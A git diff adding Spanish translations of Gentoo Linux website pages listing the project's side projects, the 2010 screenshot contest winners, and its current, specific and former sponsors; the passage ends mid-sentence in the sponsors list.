+++ b/xml/htdocs/main/es/projects.xml
@@ -0,0 +1,69 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage>
+<title>Proyectos de Gentoo Linux</title>
+
+<author title="Anterior Arquitecto Jefe">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Traductor">
+  <mail link="trek1s@gmail.com">Francisco Rodera</mail>
+</author>
+<author title="Traductor">
+  <mail link="nimiux"/>
+</author>
+
+<abstract>
+Esta página lista los proyectos de desarrollo que no están específicamente
+relacionados con Gentoo Linux.
+</abstract>
+
+<license/>
+
+<version>1.5</version>
+<date>2010-04-26</date>
+
+<chapter>
+<title>Proyectos de Gentoo Linux</title>
+<section>
+<body>
+<p>
+<b><uri link="/proj/es/releng/catalyst/">Catalyst</uri> es la herramienta
+usada por el equipo de Ingeniería de Releases para crear las releases de
+Gentoo. Catalyst puede crear stages de instalación, conjuntos GPR y LiveCDs
+botables.</b>
+</p>
+
+<p>
+<b><uri link="/proj/en/infrastructure/tenshi/">Tenshi</uri></b> es un
+programa de monitorización de ficheros de registro, diseñado para observar
+uno o más ficheros de registro en busca de líneas que concuerden con
+expresiones regulares creadas por el usuario e informar de las coincidencias.
+Las expresiones regulares son asignadas a colas que tienen un intervalo de
+alerta y una lista de destinatarios de correo.
+</p>
+
+<p>
+<b><uri link="/proj/en/dynfw.xml">Los scripts de cortafuegos dynfw</uri> son
+una colección de scripts de cortafuegos basados en netfilter (<c>iptables</c>),
+diseñados para permitir una respuesta inmediata y medida contra amenazas de
+seguridad pendientes. </b>Estos scripts <c>bash</c> han sido diseñados para
+trabajar con prácticamente cualquier cortafuegos basado en netfilter
+(incluyendo ambas configuraciones "allow by default" (permitir por defecto) y
+"deny by default" (denegar por defecto).
+</p>
+
+<p>
+<b><uri link="/proj/es/site.xml">La página de proyectos XML</uri> contiene
+la <c>guía</c> completa del motor XSLT que es usado para crear este sitio
+completamente, incluyendo las páginas principales y documentación en
+línea.</b> En esta página puede encontrar un fichero tarball que contiene
+los fuentes completos que son usados para generar la última versión del
+sitio Web <uri>http://www.gentoo.org</uri> que está viendo ahora mismo.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/es/shots.xml b/xml/htdocs/main/es/shots.xml
new file mode 100644
index 00000000..019dbef9
--- /dev/null
+++ b/xml/htdocs/main/es/shots.xml
@@ -0,0 +1,280 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/es/shots.xml,v 1.4 2010/08/11 01:38:25 nimiux Exp $ -->
+
+<guide lang="es">
+<title>Capturas de pantalla de Gentoo Linux</title>
+
+<author title="Arquitecto jefe anterior">
+  <mail link="drobbins"/>
+</author>
+<author title="Autor">
+  <mail link="swift"/>
+</author>
+<author title="Autor">Sergey Kuleshov</author>
+<author title="Author">
+  <mail link="dabbott"/>
+</author>
+<author title="Traductor">
+  <mail link="trek1s@gmail.com">Francisco Rodera</mail>
+</author>
+<author title="Traductor">
+  <mail link="nimiux"/>
+</author>
+
+<abstract>
+Capturas de pantalla de Gentoo Linux en acción.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.44</version>
+<date>2010-08-10</date>
+
+<!--
+  Método para publicar capturas de pantalla:
+  - Eliminar la última captura de pantalla de la página; no olvidar
+    eliminar igualmente las imágenes de CVS después.
+  - Añadir la nueva captura de pantalla al comienzo de la página.
+
+  Mantenemos las diez capturas de pantalla más recientes de modo que
+  no ofrecemos capturas pasadas de fecha a nuestros usuarios.
+-->
+
+<chapter>
+<title>Aquí están ... ¡haga click sobre ellas para verlas en formato
+PNG a mayor tamaño!</title>
+
+<section>
+<title>Renuncia de responsabilidades</title>
+<body>
+
+<p>
+Las capturas de pantalla que aparecen en esta página han sido
+enviadas por varios usuarios de Gentoo. La información sobre los
+temas utilizados, los fondos de escritorio, etc. no la podrá obtener
+a través de Gentoo. Deberá contactar con el autor de la captura de
+pantalla (si es que puede dar con él) para más información.
+</p>
+
+<p>
+Siempre puede intentar localizar a los autores en nuestro canal de
+chat #gentoo en irc.freenode.net o en
+los <uri link="http://forums.gentoo.org"> foros de gentoo</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Extensión E17 EFL (Chopinzee)</title>
+<body>
+
+<p>
+<b>¡Primer puesto en el concurso de capturas de pantallas de 2010!</b>
+</p>
+
+<p>
+El gestor de ventanas es E17, construido desde la extensión oficial
+EFL con <c>itask-ng</c>. El tema principal del gestor de ventanas es
+A-SBlack2.edj, grey.edj se ha usado para el reloj y
+detour-glossy-red.edj para la barra <c>itask-ng</c>. El fondo de
+pantalla es Black_wall.edj usando <c>gimp</c> para ajustarlo
+adecuadamente a 1920x1080. Los terminales son
+<c>x11-terms/terminal</c>, el tema GTK is "crude." La aplicación
+ejecutándose en esta captura es <c>mixxx</c>. el compositor es
+<c>ecomp</c> con el módulo <c>ecomorph</c>. Los iconos en la barra
+<c>itask-ng</c> son "Token Light."
+</p>
+
+<fig link="/images/shots/chopinzee-small.png"
+     linkto="/images/shots/chopinzee.png"/>
+
+</body>
+</section>
+
+<section>
+<title>Lo simple es bello (whtwtr)</title>
+<body>
+
+<p>
+<b>¡Segundo puesto en el concurso de capturas de pantallas de 2010!</b>
+</p>
+
+<p>
+Lo simple es bello <e>pero</e> debe ser funcional y ofrecer al usuario
+información tangible.
+</p>
+
+<p>
+El equipo de Shawn corre <c>compiz</c> como gestor de ventanas con
+<c>xfce4-panel</c>. El fondo de pantalla es el viejo y simple
+#000000 (negro). Dos instancias de <c>app-admin/conky-1.8.0</c>
+hacen que el escritorio tenga muy buen aspecto. La primera
+instancia de <c>conky</c> muestra indicadores de algunos
+recursos. Estos indicadores representan el uso de cpu
+(indicadores grandes y blancos), uso de memoria (indicadores verdes)
+y uso del sistema de ficheros (indicadores amarillos). La segunda
+instancia de  <c>conky</c> ejecuta la barra de información inferior
+con temperaturas, velocidades de subida/bajada, calendario y hora
+actual. La imagen del globo está tomada de die.net y es una
+proyección "Mollweide" de la sombra día/noche de la tierra; usa
+<c>cron</c> junto con un pequeño script para actualizar la imagen
+cada hora. (Las nubes se actualizan cada tres horas). Bonito ¿eh?
+</p>
+
+<fig link="/images/shots/whtwtr-small.png" linkto="/images/shots/whtwtr.png"/>
+
+</body>
+</section>
+
+<section>
+<title>Xfce de la extensión xfce-dev (GentooApologetin)</title>
+<body>
+
+<p>
+<b>¡Tercer puesto en el concurso de capturas de pantallas de 2010!</b>
+</p>
+
+<p>
+El entorno Xfce personalizado por Mona está basado en la esxtensión
+xfce-dev. Es un escritorio ~amd64 corriendo <c>compiz-fusion</c>,
+tema gtk2 salmón de moda, tema de iconos "Humanity Colors"
+con los colores cambiados, <c>conky</c> y <c>pcmanfm2</c> para el
+escritorio, <c>lxterminal</c> y una instancia finamente ajustada de
+claws-mail. Es muy ligero y corre de forma suficientemente estable
+para su sistema diario principal.
+</p>
+
+<fig link="/images/shots/mona-small.png" linkto="/images/shots/mona.png"/>
+
+</body>
+</section>
+
+<section>
+<title>Sueño del amante de Gnome (shpaq)</title>
+<body>
+
+<p>
+<b>¡Cuarto puesto en el concurso de capturas de pantallas de 2010!</b>
+</p>
+
+<p>
+A los jueces le gustó el equilibrio de MichaÅ entre temas de iconos,
+fondo, fuentes personalizadas de <c>conky</c> y el aspecto general de
+este escritorio.
+</p>
+
+<fig link="/images/shots/shpaq-small.png" linkto="/images/shots/shpaq.png"/>
+
+</body>
+</section>
+
+<section>
+<title>Elegancia simple (nm)</title>
+<body>
+
+<p>
+<b>¡Quinto puesto en el concurso de capturas de pantallas de 2010!</b>
+</p>
+
+<p>
+El gestor de ventanas es <c>dwm</c>. Emulador de terminal: <c>urxvt</c>.
+Fondo de pantalla: de origen desconocido. Fuente: Proggy Tiny Slashed
+Zero.
+</p>
+
+<fig link="/images/shots/nm-small.png" linkto="/images/shots/nm.png"/>
+
+</body>
+</section>
+
+<section>
+<title>(Casi) GNOME por defecto</title>
+<body>
+
+<p>
+La captura de Bartek es uno de las ganadoras del Gentoo Screenshot
+Contest. Bartek obtuvo este aspecto decente mediante la ilusión 3d del
+tapiz conectado con una disposición de bonitos iconos. Este es un buen
+ejemplo de como un tema por defecto puede ser usado para crear una
+hermosa captura de pantalla.
+</p>
+
+<fig link="/images/shots/gnome-small.png"
+linkto="/images/shots/gnome.png" />
+
+</body>
+</section>
+
+<section>
+<title>WM negro elegante</title>
+<body>
+
+<p>
+El segundo ganador del Gentoo Screenshot Contest es Mikołaj, también
+conocido como mklimek. Es un usuario de KDE y no parece que quiera
+cambiar. En su exclusiva captura de pantalla se pueden ver algunas de
+las utilidades de KDE e iconos que tienen un aspecto parecido a los de
+gnome.
+</p>
+
+<fig link="/images/shots/rash-small.png"
+linkto="/images/shots/rash.png" />
+</body>
+</section>
+
+<section>
+<title>Viaje espacial</title>
+<body>
+
+<p>
+La captura de Robert demuestra un gusto por los tonos azules. Excluyendo
+a cairo-clock, su KDE corre (como podemos observar) únicamente
+aplicaciones basadas en qt, como Kopete, Konsole y amaroK. Robert también
+se preocupa por su tema irssi, el cual se distingue por sus colores
+verdosos.
+</p>
+
+<fig link="/images/shots/sshotpw4-small.png"
+linkto="/images/shots/sshotpw4.png"
+/>
+
+</body>
+</section>
+
+<section>
+<title>Aún más gentoosa</title>
+<body>
+
+<p>
+Ésta es probablemente la más "gentoosa" de todas las capturas, y
+personalmente la considero la más bonita. Alexander corre GNOME, el cual no
+sólo tiene muy buen aspecto sino que es apropiada para una estación de
+trabajo Gentoo.
+</p>
+
+<fig link="/images/shots/Bildschirmfoto-small.png"
+linkto="/images/shots/Bildschirmfoto.png" />
+
+</body>
+</section>
+
+<section>
+<title>¡Haga emerge de esto!</title>
+<body>
+
+<p>
+Como puede comprobar, Massimiliano va a compilar media-video/dvdauthor en
+su máquina KDE.
+</p>
+
+<fig link="/images/shots/darkgentoo2sf2-small.png"
+linkto="/images/shots/darkgentoo2sf2.png" />
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/main/es/sponsors.xml b/xml/htdocs/main/es/sponsors.xml
new file mode 100644
index 00000000..0951ae95
--- /dev/null
+++ b/xml/htdocs/main/es/sponsors.xml
@@ -0,0 +1,794 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/es/sponsors.xml,v 1.15 2010/08/27 07:06:13 nimiux Exp $ -->
+
+<mainpage lang="es">
+<title>Patrocinadores de Gentoo</title>
+
+<author title="Autor actual">
+  <mail link="robbat2" />
+</author>
+<author title="Autor anterior">
+  <mail link="klieber" />
+</author>
+<author title="Autor anterior">
+  <mail link="swift" />
+</author>
+<author title="Editor anterior">
+  <mail link="curtis119" />
+</author>
+<author title="Traductor">
+  <mail link="krego.gentoo@gmail.com">Carlos Jiménez Pacho</mail>
+</author>
+<author title="Traductor">
+  <mail link="chiguire@gentoo.org">John Christian Stoddart</mail>
+</author>
+<author title="Traductor">
+  <mail link="nimiux"/>
+</author>
+
+<abstract>
+Patrocinadores de Gentoo
+</abstract>
+
+<license/>
+<version>2.10</version>
+<date>2010-08-26</date>
+
+<chapter>
+<title>Patrocinadores de Gentoo</title>
+
+<section>
+<body>
+
+<p>
+Gentoo agradece a las siguientes compañías y organizaciones, las
+cuales donaron varios servicios y equipos para favorecer el desarrollo
+de Gentoo. Sin éstas organizaciones, Gentoo no estaría donde está hoy.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Universidad del Estado de Oregón</title>
+<body>
+
+<!-- Queremos que las dos imágenes sean adyacentes, no apiladas pero no
+     puedo conseguir que docs lo haga!. Cualquier ayuda será bienvenida.
+-->
+<fig link="/images/sponsors/osu-logo.png" linkto="http://oregonstate.edu"
+     short="Oregon State University"/>
+<fig link="/images/sponsors/osuosl-logo.png" linkto="http://osuosl.org"
+     short="OSU Open Source Lab"/>
+
+<p>
+Localizado en la <uri
+link="http://oregonstate.edu">Universidad del Estado de Oregón</uri>
+situada en la preciosa ciudad de Corvallis, Oregon, el <uri
+link="http://osuosl.org">Open Source Lab</uri> es un punto de
+encuentro de desarrolladores, hospedaje y demás servicios para la
+Comunidad de Software Libre.
+</p>
+
+<p>
+El OSU proporciona varios servicios al proyecto de Gentoo. Además
+de dar servicio como la primera fuente de servidores de réplica
+para Gentoo, también proporciona espacio para varios servidores de
+Gentoo.
+</p>
+</body>
+</section>
+
+<section>
+<title>Universidad de Indiana (IU)</title>
+<body>
+
+<fig link="/images/sponsors/iu-logo.jpg" linkto="http://www.iu.edu"
+     short="Indiana University"/>
+
+<p>
+La Universidad de Indiana fue fundada en Bloomington, Indiana, en
+1820. Desde entonces ha crecido a ocho campus a lo largo de Indiana,
+con un total de 100.000 matriculados entre licenciados y
+estudiantes. La IU ofrece 116 programas académicos que figuran entre
+los 20 mejores del país. Hay alrededor de 460.000 alumnos de la IU por
+todo el mundo.
+</p>
+
+<p>
+La universidad de Indiana da cobijo a la infraestructura de servidores
+de Gentoo, así como una alta cantidad de código y un servidor de
+réplica de Portage.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>UltraDNS</title>
+<body>
+
+<fig link="/images/sponsors/ultradns-logo.jpg" linkto="http://www.ultradns.com"
+     short="UltraDNS"/>
+
+<p>
+UltraDNS proporciona un servicio avanzado, altamente inteligente, de
+soluciones escalables globales de servicios de directorio que elevan
+significativamente el rendimiento y la fiabilidad de las redes y las
+aplicaciones que tienen como misión el intercambio de información
+crítica.
+</p>
+
+<p>
+UltraDNS provee servicios DNS al proyecto Gentoo, incluyendo
+características avanzadas como <uri
+link="http://www.ultradns.com/services/directional_dns.cfm">Directional
+DNS</uri> que proporciona un servicio de carga balanceada de DNS para
+nuestro pool rsync.gentoo.org de servidores rsync, así como <uri
+link="http://www.ultradns.com/services/sitebacker.cfm">SiteBacker</uri>
+para proveer monitorización del estado y capacidad de recuperación ante
+fallos de nuestra infraestructura principal de servidores.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Global Netoptex, Inc.</title>
+<body>
+
+<fig link="/images/sponsors/gni_logo.png" linkto="http://www.netoptex.com"
+     short="Global Netoptex, Inc."/>
+
+<p>
+GNi es un destacado proveedor de servicios manejados enfocados al
+cliente con la finalidad de ampliar su infraestructura y de reducir de
+manera drástica el coste total de propiedad de los
+mismos. Proporcionan expertos, recursos y soluciones para conocer y
+sobrepasar los requisitos on-site y off-site de sus clientes.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Bytemark Hosting</title>
+<body>
+
+<fig link="/images/sponsors/bytemark_logo.png"
+     linkto="http://www.bytemark.co.uk/r/gentoo-sponsors"
+     short="Bytemark Hosting"/>
+
+<p>
+Bytemark Hosting le proporciona a Gentoo Linux servidores y servicios
+que manejan nuestra red global de servidores espejo. Son destacados
+proveedores de servicios de Internet (ISP) en el Reino Unido y
+suministran alojamiento escalable, poderoso y asequible con muchos
+extras para expertos de manera estándar. Han desplegado Gentoo Linux
+dentro de su red para suministrar soluciones flexibles a problemas
+difíciles, tales como el suministro de un entorno de rescate en la red
+para todos los anfitriones dedicados.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Hyves.net</title>
+<body>
+
+<fig link="/images/sponsors/hyves-logo.png" linkto="http://www.hyves.net/"
+     short="Hyves.net" />
+
+<p>
+Hyves le proporciona a Gentoo Linux servidores y alojamiento para el
+cluster Bugzilla. Encarnan una red social europea de avanzada y corren
+<uri
+link="http://www.gentoo.org/news/en/gmn/20080424-newsletter.xml#doc_chap3">
+Gentoo en más de 1.800 servidores</uri>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Euro-Web/SD-France</title>
+<body>
+
+<fig link="/images/sponsors/sdfrance-logo.png"
+     linkto="http://www.sd-france.com"
+     short="gentoo dedicated servers provided by sd-france.com" />
+
+<p>
+Fundada en 2003, Euro-WEB/SD-France ofrece soluciones avanzadas de
+outsourcing; alquilando y hospedando servidores dedicados; desarrollo
+y servicios personalizados para PYMES (Pequeñas Y Medianas EmpresaS)
+y grandes clientes corporativos. Trabajando con los mejores precios y
+soporte inmejorable a sus clientes, Euro-Web/SD-France tiene cerca de
+5.000 clientes y 850 servidores administrados. Euro-Web/SD-France
+da soporte al proyecto Gentoo ofreciéndole algunos servidores dedicados
+acoplados con una fuerte conectividad IPv6.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>SevenL Networks</title>
+<body>
+
+<fig link="/images/sponsors/sevenl_logo.png" linkto="http://www.sevenl.net/"
+     short="SevenL.net" />
+
+<p>
+SevenL Networks Inc. es un líder mundial en <uri
+link="https://www.sevenl.net/managed-hosting">hosting gestionado
+</uri>, <uri link="https://www.sevenl.net/dedicated-server">
+servidores dedicados</uri>, <uri
+link="https://www.sevenl.net/vps-hosting">hosting VPS</uri> y
+soluciones para centros de datos. SevenL ha estado donando con
+orgullo servicios de servidores dedicados a Gentoo Linux desde
+2004. Además, han donado varios servidores dedicados a CentOS,
+Linux Mint, Arch Linux y a otras comunidades de código abierto
+que dependen de patrocinadores para tener éxito.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Tek Alchemy</title>
+<body>
+
+<p>
+<uri link="http://tek.net/">Tek Alchemy, Inc.</uri> está situado en
+Austin (Texas) y ofrece servidores dedicados, VPS, servidores
+gestionados y alojamiento en Estados Unidos. Acogen varios
+proyectos de código abierto en servidores dedicados incluido
+Gentoo. Están orientados al cliente con conocimientos avanzados,
+, ofreciendo hardware personalizado, instalaciones personalizadas de
+sistemas operativos o "hágalo usted mismo". Ofrecen servidores
+dedicados con el sistema operativo que desee el cliente, incluyendo
+Gentoo, Debian, CentOS, Ubuntu, Fedora y más.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>HardStyle GmbH: Edurium, Online Kredit Index, Fern Studiengang</title>
+<body>
+<p>
+HardStyle GmbH es un pequeño comercio de desarrollo con intereses
+variados. Edurium sigue lo que dicta su corazón y credos personales
+trabajando para asegurar continuamente la libertad de los proyectos
+de código abierto para todos los usuarios. Aprecian enormemente el
+valor de Gentoo y comprenden la necesidad de dar soporte tanto a
+desarrolladores como a infraestructura.
+</p>
+<p>
+Encuentre los mejores proveedores en Alemania en educación a
+distancia en <uri link="http://www.fern-studiengang.de/">Fern
+Studiengang</uri>.
+</p>
+<fig link="/images/sponsors/edurium-big.gif"
+     linkto="http://www.edurium.de/"
+     short="Edurium" />
+<p>
+<uri link="http://www.edurium.de/">edurium</uri> - the education
+portal is un portal educativo alemán.
+</p>
+
+<fig link="/images/sponsors/online-kredit-index.jpg"
+     linkto="http://www.online-kredit-index.de/"
+     short="Online Kredit Index" />
+<p>
+<uri link="http://www.online-kredit-index.de/">Online Kredit Index</uri>
+es un proveedor de servicios financieros alemán.
+</p>
+</body>
+</section>
+
+<section>
+<title>Hetzner Online AG</title>
+<body>
+<fig link="/images/sponsors/hetzner-logo.jpg"
+     linkto="http://www.hetzner.de/"
+     short="Hetzner Online AG" />
+<p>
+<uri link="http://www.hetzner.de/">Hetzner Online</uri> es una de las
+compañías líderes de alojamiento web y operador de centro de datos en
+Alemania. Ofrecemos potentes soluciones de alojamiento dedicado,
+colocación, espacio web, dominios, certificados SSL y entradas en los
+motores de búsqueda.  A la vez ofrecemos los mejores precios y
+excelente soporte. Hetzner Online cubre las expectativas de los cliente
+en todo el mundo. Hetzner Online contribuye al proyecto Gentoo con un
+potente servidor dedicado.
+</p>
+</body>
+</section>
+
+<section>
+<title>WebHosting.UK.com</title>
+<body>
+
+<fig link="/images/sponsors/web-hosting-uk.jpg"
+     linkto="http://www.webhosting.uk.com/" short="WebHosting.UK.com" />
+
+<p>
+Fundado en el 2001, WebHosting UK ofrece servidores dedicados Gentoo
+Linux económicos en el Reino Unido. Webhosting UK también proporciona
+alojamiento completamente manejado, para reventa, semi-dedicado y
+además, servidores privados virtuales con características muy
+importantes como soporte técnico 24x7x365, garantía incluida de uptime
+de 99.95% como estándar.
+</p>
+</body>
+</section>
+
+<section>
+<title>Universidad de Virginia</title>
+<body>
+
+<fig link="/images/sponsors/virginia-logo.gif" linkto="http://www.virginia.edu"
+     short="University of Virginia Logo"/>
+
+<p>
+La Universidad de Virginia alberga varias computadoras Alpha,
+usadas por los desarrolladores de Gentoo/Alpha para construir nuevas
+versiones de Gentoo, además de trabajar diariamente haciendo pruebas y
+creando medidas de seguridad.
+</p>
+</body>
+</section>
+
+<section>
+<title>HP</title>
+<body>
+
+<fig link="/images/sponsors/hp-logo.jpg" linkto="http://opensource.hp.com"
+     short="HP OpenSource Logo"/>
+
+<p>
+HP es un proveedor de soluciones tecnológicas para gente de a pie,
+negocios e instituciones. HP tiene más de 200 productos que envía con
+software de código abierto. Desde el cliente al servidor y al centro
+de datos, HP está contribuyendo con cientos de proyectos de código
+abierto a diario. Para más información sobre la implicación de HP con
+el código abierto, visite <uri
+link="http://opensource.hp.com/">http://opensource.hp.com/</uri>.
+</p>
+
+<p>
+HP proporciona recursos de Investigación y Desarrollo y tiene prestados
+al proyecto Gentoo hardware Alpha e IA64.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<!-- ====================================================================== -->
+
+<chapter>
+<title>Donaciones específicas</title>
+<section>
+<body>
+
+<p>
+Gentoo desea mostrar su agradecimiento a las siguientes compañías y
+organizaciones que han realizado donaciones específicas para el desarrollo
+de Gentoo.
+</p>
+</body>
+</section>
+
+<section>
+<title>Opengear</title>
+<body>
+
+<fig link="/images/sponsors/opengear-logo.jpg" linkto="http://www.opengear.com/"
+     short="Opengear" />
+<p>
+<uri link="http://www.opengear.com/">Opengear</uri> diseña e
+implementa soluciones de consola para servidores para el acceso
+remoto seguro y el control de dispositivos de red como routers,
+switches, servidores, cortafuegos, fuentes de alimentación
+ininterrumpidas, unidades de distribución de energía y dispositivos
+de monitorización del entorno. La misión de Opengear es ser un
+proveedor líder en tecnologías abiertas para la gestión de
+infrestructura y un desarrollador inovador de la próxima generación
+de soluciones para la consola de los servidores y la gestión de la
+energía. Opengear ha donado unos cuantos servidores de consola a
+Gentoo.
+</p>
+</body>
+</section>
+
+<section>
+<title>NVIDIA</title>
+<body>
+
+<fig link="/images/sponsors/nvidia-logo.gif" linkto="http://www.nvidia.com"
+     short="NVIDIA"/>
+
+<p>
+NVIDIA Corporation (en el Nasdaq: NVDA) es el líder en el mercado en
+tecnología en informática visual. Dedicada a crear productos que
+aumentan la experiencia multimedia en plataformas para profesionales y
+no profesionales, desde escritorios y estaciones de trabajo hasta
+portátiles y ordenadores de mano. Los productos de NVIDIA alcanzan un
+amplio mercado y son incorporados a una extensa variedad de
+plataformas, incluidos los ordenadores de consumo y empresa, estaciones
+de trabajos profesionales, sistemas de creación de contenido digital,
+sistemas de navegación militar y consolas de videojuegos.
+</p>
+
+<p>
+NVIDIA ha proporcionado al proyecto Gentoo numerosas máquinas de
+desarrollo AMD y tarjetas gráficas para llegar más lejos en el
+desarrollo de Gentoo en las plataformas Athlon XP y Athlon64.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Cloanto</title>
+<body>
+
+<p>
+<uri link="http://www.amigaforever.com/">Cloanto</uri> ha donado
+el <uri link="http://www.amigaforever.com/">CD Amiga Forever</uri>
+para soportar el desarrollo y mantenimiento del software de emulación
+de Amiga en Gentoo.
+</p>
+</body>
+</section>
+
+<section>
+<title>OSTC</title>
+<body>
+<fig link="/images/sponsors/ostc-banner.jpg" linkto="http://ostc.pl/"
+short="OSTC" />
+<p>
+<uri link="http://ostc.pl/">OSTC</uri> es la principal y mayor compañía de
+derivados propietarios de comercio en Polonia. Empujan los límites del
+comercio electrónico usando Gentoo y software de Código Abierto como
+componentes integrales.
+</p>
+</body>
+</section>
+
+<section>
+<title>Genesi</title>
+<body>
+
+<fig link="/images/sponsors/genesi_logo.gif" linkto="http://www.genesi.lu/"
+     short="Genesi"/>
+
+<p>
+Genesi es un destacado proveedor de Freescale y productos informáticos
+basados en IBM PowerPC. El ordenador de Genesi, <uri
+link="http://www.pegasosppc.com">PegasosPPC MicroATX computer</uri>,
+está diseñado para traer la flexibilidad de la tecnología de los
+PowerPC al escritorio, servidores de bajo costo a un precio
+asequible. Desde que se liberó la 2004.3, el Open Desktop Workstation
+se envía con Gentoo preinstalado.
+</p>
+
+<p>
+<uri
+link="http://www.genesi.lu">Genesi</uri> ha proporcionado muchos
+PowerPC basados en <uri link="http://www.pegasosppc.com/odw.php">Open
+Desktop Workstations</uri> a Gentoo. Para más información sobre la
+participación de Genesi en la comunidad de Linux Open Source, visite
+<uri link="http://www.ppczone.org">www.PPCZone.org</uri>.
+</p>
+</body>
+</section>
+
+<section>
+<title>DataRescue</title>
+<body>
+
+<fig link="/images/sponsors/datarescue-logo.gif"
+     linkto="http://www.datarescue.com" short="DataRescue logo"/>
+
+<p>
+DataRescue es el desarrollador de IDA Pro Disassembler &amp; Debugger,
+una herramienta esencial para la investigación de vulnerabilidades y
+el análisis de binarios hostiles. DataRescue corre varios de sus
+principales servidores internos y públicos con Gentoo Linux.
+</p>
+
+<p>
+DataRescue ha donado software al Equipo de Auditoría de Gentoo (Gentoo
+Audit Team).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<!-- ====================================================================== -->
+
+<chapter>
+<title>Anteriores patrocinadores</title>
+<section>
+<body>
+
+<p>
+Gentoo desea mostrar su agradecimiento especial a sus anteriores
+patrocinadores.
+</p>
+
+<p>
+Si su organización ha patrocinado a Gentoo en el pasado y ha sido
+eliminada por error de la siguiente lista, por favor, no dude en
+contactar con nuestro equipo de infraestructura, de forma que
+podamos reconocer su aportación. Hemos intentado mantener el
+contacto con todos los patrocinadores anteriores, pero sólo
+algunos no ha respondido a nuestras peticiones o simplemente
+no sabemos nada de ellos desde los comienzos del proyecto.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Departamento de Física - Universidad de Trieste</title>
+<body>
+
+<fig link="/images/sponsors/units_logo.png" linkto="http://physics.units.it"
+     short="Department of Physics - University of Trieste"/>
+
+<p>
+El Departamento de Física de la Universidad de Trieste ha
+proporcionado servicios de infraestructura al proyecto Gentoo y ha
+albergado todas nuestras listas de correo desde hace varios años.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Inverse Path</title>
+<body>
+
+<fig link="/images/sponsors/inversepath_logo.png"
+     linkto="http://www.inversepath.com" short="Inverse Path Ltd."/>
+
+<p>
+Inverse Path Ltd. es una consultora internacional que proporciona
+servicios de diseño e implementación de redes e infraestructura segura
+con experiencia particular en software libre. Entre sus servicios
+ofrece soporte comercial para la instalación de Gentoo en entornos de
+producción y formación de profesionales.
+</p>
+
+<p>
+Anteriormente Inverse Path proporcionaba un servidor VOIP para el uso por
+los desarrolladores Gentoo.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Pilosoft</title>
+<body>
+<fig link="/images/sponsors/pilosoft-logo.gif"
+     linkto="http://www.pilosoft.com/" short="Pilosoft"/>
+<p>
+Pilosoft ofrece multitud de servicios relacionados con Internet,
+incluyendo conectividad DSL, alojamiento web dedicado y compartido,
+servicios de alojamiento y servicios IP personalizados.
+</p>
+
+<p>
+Pilosoft ofreció en el pasado servicios de alojamiento y de ancho
+de banda al proyecto Gentoo.
+</p>
+</body>
+</section>
+
+<section>
+<title>Universidad Southern Nazarene (SNU)</title>
+<body>
+<p>
+Fundada en 1899, la universidad Southern Nazarene es un servicio
+universitario cristiano y de artes liberales de la iglesia de los
+nazarenos. Localizada en un campus de 40 acres al oeste de
+Oklahoma City, SNU creció a partir de varios colegios pequeños
+enfocados a entrenar a  personas para el servicio a Dios y al
+prójimo. Más de 25,000 alumnos trabajan y sirven a lo largo de
+los Estados Unidos y en todo el mundo.
+</p>
+<p>
+SNU ofreció el uso de un servidor dedicado y ancho de banda para el
+proyecto Gentoo.
+</p>
+</body>
+</section>
+
+<section>
+<title>Universidad de Florida: Open Systems Group</title>
+<body>
+<p>
+El <uri link="http://open-systems.ufl.edu/">Open Systems Group (Grupo
+de Sistemas Abiertos)</uri> en la
+<uri link="http://www.ufl.edu/">Universidad de Florida</uri> alojó
+en el pasado un pequeño cluster para dar soporte al servicio de
+servidor réplica principal rsync1.us.gentoo.org para todos los
+servidores réplica de la comunidad.
+</p>
+</body>
+</section>
+
+<section>
+<title>Melior, Inc.</title>
+<body>
+<fig link="/images/sponsors/melior-logo.jpg"
+     linkto="http://www.meliorinc.com" short="Melior"/>
+<!-- <fig link="/images/sponsors/isecure-logo.jpg"
+          linkto="http://www.ddos.com"/> -->
+<p>
+Melior, Inc. ofrece protección probada contra ataques de denegación
+de servicio distribuido (dDoS) y es el único en la industria que
+ofrece Infrastructure Cloaking technology: iSecure True
+Intrusion Prevention System (TIPSTM) un sistema de prevención de
+contra intrusos.
+</p>
+
+<p>
+Melior, Inc. ofreción el servidor, el ancho de banda y el alojamiento
+para una máquina con las cuentas de los desarrolladores, el nodo
+principal de la página web y un servidor réplica rsync dedicado.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Ethernetworks.de</title>
+<body>
+
+<fig link="/images/sponsors/ethernetworks-logo.jpg"
+     linkto="http://www.ethernetworks.de" short="Ethernetworks Germany"/>
+<p>
+<uri link="http://www.ethernetworks.de">Ethernetworks Germany</uri>
+está especializada en redes profesionales, seguridad en soluciones
+para Internet así como alojamiento de servidores web dedicados y
+compartidos. La integración de servidores en redes multiplataforma
+para la empresa es la mayor de las responsabilidades que ha
+adquirido Ethernetworks Deutschland, así como el diseño de
